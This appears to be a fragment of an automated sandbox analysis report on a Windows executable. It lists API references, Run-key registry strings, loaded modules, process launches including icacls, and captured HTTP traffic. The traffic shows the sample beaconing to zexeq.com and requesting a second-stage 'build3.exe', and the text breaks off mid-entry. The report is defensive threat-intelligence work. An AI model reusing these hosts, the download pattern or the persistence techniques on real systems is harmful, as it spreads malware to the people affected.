"GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.04CC0000.00000004.mdmp") Found reference to API "CommandLineToArgvW" (Indicator: "CommandLineToArgv"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.04CC0000.00000004.mdmp")3c:T516,Found reference to API "OpenThread" (Indicator: "OpenThread"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "OpenThread" (Indicator: "OpenThread"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "OpenThread" (Indicator: "OpenThread"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "OpenThread" (Indicator: "OpenThread"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp")3d:T6b4,Found reference to API "GetLastError" (Indicator: "GetLastError"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "SetLastError" (Indicator: "SetLastError"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.04CC0000.00000004.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.04CC0000.00000004.mdmp")3e:Tae3,"Software\Microsoft\Windows\CurrentVersion\Run" in Source: 25957-65-00411CD0 "Software\Microsoft\Windows\CurrentVersion" in Source: 00000000-00006816.00000000.156167.00400000.00000040.mdmp 00000000-00006816.00000001.158086.00400000.00000040.mdmp 00000000-00006816.00000002.160006.00400000.00000040.mdmp "Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00006816.00000000.156167.00400000.00000040.mdmp 00000000-00006816.00000001.158086.00400000.00000040.mdmp 00000000-00006816.00000002.160006.00400000.00000040.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00006816.00000000.156167.00690000.00000004.mdmp 00000000-00006816.00000001.158086.00690000.00000004.mdmp 00000000-00006816.00000002.160006.00690000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00006816.00000000.156167.00690000.00000004.mdmp 00000000-00006816.00000001.158086.00690000.00000004.mdmp 00000000-00006816.00000002.160006.00690000.00000004.mdmp "\REGISTRY\MACHINE\Software\Microsoft\WindowsRuntime" in Source: 00000000-00006816.00000001.158086.00690000.00000004.mdmp 00000000-00006816.00000002.160006.00690000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00006816.00000001.158086.00690000.00000004.mdmp 00000000-00006816.00000002.160006.00690000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\Instance" in Source: 00000000-00006816.00000001.158086.05AA0000.00000004.mdmp 00000000-00006816.00000002.160006.05AA0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\Instance" in Source: 00000000-00006816.00000001.158086.05AA0000.00000004.mdmp 00000000-00006816.00000002.160006.05AA0000.00000004.mdmp "Registry\Machine\Software\Classes\AppID\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" in Source: 00000000-00006816.00000001.158086.05AA0000.00000004.mdmp 00000000-00006816.00000002.160006.05AA0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{66742402-F9B9-11D1-A202-0000F81FEDEE}\OverrideFileSystemProperties" in Source: 00000000-00006816.00000001.158086.05AA0000.00000004.mdmp 00000000-00006816.00000002.160006.05AA0000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00006816.00000001.158086.05AA0000.00000004.mdmp 00000000-00006816.00000002.160006.05AA0000.00000004.mdmp "Software\Microsoft\EdgeUpdate\ClientState\" in Source: 00000000-00006816.00000002.160006.04CC0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Uninstall\Microsoft Edge" in Source: 00000000-00006816.00000002.160006.04CC0000.00000004.mdmp3f:T1216,"GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua" Response ==> HTTP/1.1 429 Too Many Requests Date: Sun 06 Apr 2025 09:46:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-Xss-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST GET PUT OPTIONS PATCH DELETE Access-Control-Allow-Headers: X-Accept-Charset X-Accept Content-Type Server: cloudflare Cf-Cache-Status: DYNAMIC CF-RAY: 92c05b81984a16a6-SJC alt-svc: h3=":443"; ma=86400 with response body ==>3C6C696E6B2072656C3D227374796C6573686565742220687265663D22636C61737365732F7374796C652E6373732220747970653D22746578742F6373732220....... "GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua" Response ==> HTTP/1.1 429 Too Many Requests Date: Sun 06 Apr 2025 09:46:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-Xss-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST GET PUT OPTIONS PATCH DELETE Access-Control-Allow-Headers: X-Accept-Charset X-Accept Content-Type Server: cloudflare Cf-Cache-Status: DYNAMIC CF-RAY: 92c05bbc2e2aeb30-SJC alt-svc: h3=":443"; ma=86400 with response body ==>3C6C696E6B2072656C3D227374796C6573686565742220687265663D22636C61737365732F7374796C652E6373732220747970653D22746578742F6373732220....... "GET /raud/get.php?pid=8422DA40E95D01A98042B9973519E352&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com" Response ==> HTTP/1.1 200 OK Content-Type: html; charset=utf-8 Server: nginx/1.18.0 Content-Length: 437 Date: Sun 06 Apr 2025 09:46:30 GMT with response body ==>3C21444F43545950452068746D6C3E0A2020202020202020202020203C68746D6C3E0A2020202020202020202020203C686561643E0A20202020202020202020....... "GET /raud/get.php?pid=8422DA40E95D01A98042B9973519E352&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com" Response ==> HTTP/1.1 200 OK Content-Type: html; charset=utf-8 Server: nginx/1.18.0 Content-Length: 437 Date: Sun 06 Apr 2025 09:46:35 GMT with response body ==>3C21444F43545950452068746D6C3E0A2020202020202020202020203C68746D6C3E0A2020202020202020202020203C686561643E0A20202020202020202020....... "GET /raud/get.php?pid=8422DA40E95D01A98042B9973519E352&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com" Response ==> HTTP/1.1 200 OK Content-Type: html; charset=utf-8 Server: nginx/1.18.0 Content-Length: 437 Date: Sun 06 Apr 2025 09:46:40 GMT with response body ==>3C21444F43545950452068746D6C3E0A2020202020202020202020203C68746D6C3E0A2020202020202020202020203C686561643E0A20202020202020202020....... "GET /raud/get.php?pid=8422DA40E95D01A98042B9973519E352&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com" Response ==> HTTP/1.1 200 OK Content-Type: html; charset=utf-8 Server: nginx/1.18.0 Content-Length: 437 Date: Sun 06 Apr 2025 09:46:45 GMT with response body ==>3C21444F43545950452068746D6C3E0A2020202020202020202020203C68746D6C3E0A2020202020202020202020203C686561643E0A20202020202020202020....... "GET /files/1/build3.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com" Response ==> HTTP/1.1 200 OK Content-Type: html; charset=utf-8 Server: nginx/1.18.0 Content-Length: 437 Date: Sun 06 Apr 2025 09:46:50 GMT with response body ==>3C21444F43545950452068746D6C3E0A2020202020202020202020203C68746D6C3E0A2020202020202020202020203C686561643E0A20202020202020202020....... "GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua" Response ==> HTTP/1.1 429 Too Many Requests Date: Sun 06 Apr 2025 09:47:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-Xss-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST GET PUT OPTIONS PATCH DELETE Access-Control-Allow-Headers: X-Accept-Charset X-Accept Content-Type Server: cloudflare Cf-Cache-Status: DYNAMIC CF-RAY: 92c05ce9c9fe2287-SJC alt-svc: h3=":443"; ma=86400 with response body ==>3C6C696E6B2072656C3D227374796C6573686565742220687265663D22636C61737365732F7374796C652E6373732220747970653D22746578742F6373732220.......40:T1a41,"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74910000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74910000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74910000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "KERNEL32" at base 745f0000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 72c60000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "MSIMG32.DLL" at base 72bb0000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "KERNEL32.DLL" at base 745f0000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "USER32" at base 74790000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "NTDLL.DLL" at base 77010000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 734e0000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "RPCRT4.DLL" at base 75780000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "SSPICLI.DLL" at base 73a30000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "USER32.DLL" at base 74790000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "ONDEMANDCONNROUTEHELPER.DLL" at base 72860000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "WINHTTP.DLL" at base 727b0000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 72860000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 72ce0000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 745f0000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "MSISO.DLL" at base 72750000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 72740000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 726f0000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 74720000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "%WINDIR%\SYSWOW64\SCHANNEL.DLL" at base 72680000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "MSKEYPROTECT.DLL" at base 72670000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "%WINDIR%\SYSWOW64\WINTRUST.DLL" at base 74f20000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 725e0000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 755a0000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 72590000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "%WINDIR%\SYSWOW64\CRYPTNET.DLL" at base 72590000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 74fe0000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "CRYPTNET.DLL" at base 72590000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 72570000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "WS2_32.DLL" at base 74720000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "PSAPI.DLL" at base 73bd0000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "SHELL32.DLL" at base 75ae0000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "%WINDIR%\SYSWOW64\TASKSCHD.DLL" at base 72ef0000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 72f80000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "%WINDIR%\SYSWOW64\\WINDOWS.STATEREPOSITORYPS.DLL" at base 72440000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "%WINDIR%\SYSWOW64\SHELL32.DLL" at base 75ae0000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "%WINDIR%\SYSWOW64\URLMON.DLL" at base 73320000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 74910000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 73be0000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "%WINDIR%\SYSTEM32\SFC_OS.DLL" at base 72400000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 72770000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "ADVAPI32.DLL" at base 75600000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "NETAPI32.DLL" at base 72420000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "MSIMG32.DLL" at base 72430000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "MSISO.DLL" at base 726f0000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 726a0000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 72690000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "%WINDIR%\SYSWOW64\SCHANNEL.DLL" at base 72620000 "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" loaded module "MSKEYPROTECT.DLL" at base 7261000041:T8de,"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" touched "Computer" (Path: "HKCU\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\WOW6432NODE\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" touched "Sync root manager" (Path: "HKCU\WOW6432NODE\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" touched "Property System Both Class Factory" (Path: "HKCU\WOW6432NODE\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" touched "Security Manager" (Path: "HKCU\WOW6432NODE\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" touched "TaskScheduler class" (Path: "HKCU\WOW6432NODE\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TREATAS") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" touched "UsersFiles" (Path: "HKCU\WOW6432NODE\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\WOW6432NODE\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" touched "Known Folder Manager" (Path: "HKCU\WOW6432NODE\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\TREATAS")42:T631,Process "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (UID: 00000000-00000656) was launched with new environment variables: "USERDNSDOMAIN="DESKTOP-FVVF82A", PROCESSOR_ARCHITEW6432="AMD64"" Process "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (UID: 00000000-00000656) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, NUMBER_OF_PROCESSORS" Process "icacls.exe" (UID: 00000000-00005384) was launched with new environment variables: "FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", FPS_BROWSER_USER_PROFILE_STRING="Default"" Process "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (UID: 00000000-00005660) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, NUMBER_OF_PROCESSORS" Process "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (UID: 00000000-00005660) was launched with missing environment variables: "FPS_BROWSER_APP_PROFILE_STRING, USERDNSDOMAIN, FPS_BROWSER_USER_PROFILE_STRING, PROCESSOR_ARCHITEW6432" Process "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (UID: 00000000-00007352) was launched with new environment variables: "USERDNSDOMAIN="DESKTOP-FVVF82A", PROCESSOR_ARCHITEW6432="AMD64"" Process "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (UID: 00000000-00007352) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, NUMBER_OF_PROCESSORS"43:T7f4,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.04CC0000.00000004.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00006816.00000002.160006.04CC0000.00000004.mdmp")44:T588,"hidbthle.inf" has type "Unicode text UTF-16 little-endian text with very long lines (4036) with no line terminators" "miradisp.inf" has type "Unicode text UTF-16 little-endian text with very long lines (3122) with no line terminators" "xboxgip.inf" has type "Unicode text UTF-16 little-endian text with very long lines (2499) with no line terminators" "hidinterrupt.inf" has type "Unicode text UTF-16 little-endian text with very long lines (2181) with no line terminators" "buttonconverter.inf" has type "Unicode text UTF-16 little-endian text with very long lines (1876) with no line terminators" "vhdmp.inf" has type "Unicode text UTF-16 little-endian text with very long lines (1855) with no line terminators" "urschipidea.inf" has type "Unicode text UTF-16 little-endian text with very long lines (1804) with no line terminators" "oposdrv.inf" has type "Unicode text UTF-16 little-endian text with very long lines (1434)" "ndisuio.inf" has type "Unicode text UTF-16 little-endian text with very long lines (1657) with no line terminators" "urssynopsys.inf" has type "Unicode text UTF-16 little-endian text with very long lines (1573) with no line terminators" "netnb.inf" has type "Unicode text UTF-16 little-endian text with very long lines (1243) with no line terminators" "c_receiptprinter.inf" has type "Unicode text UTF-16 little-endian text with very long lines (499) with no line terminators"45:T7d3,"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "OPEN"; Path: 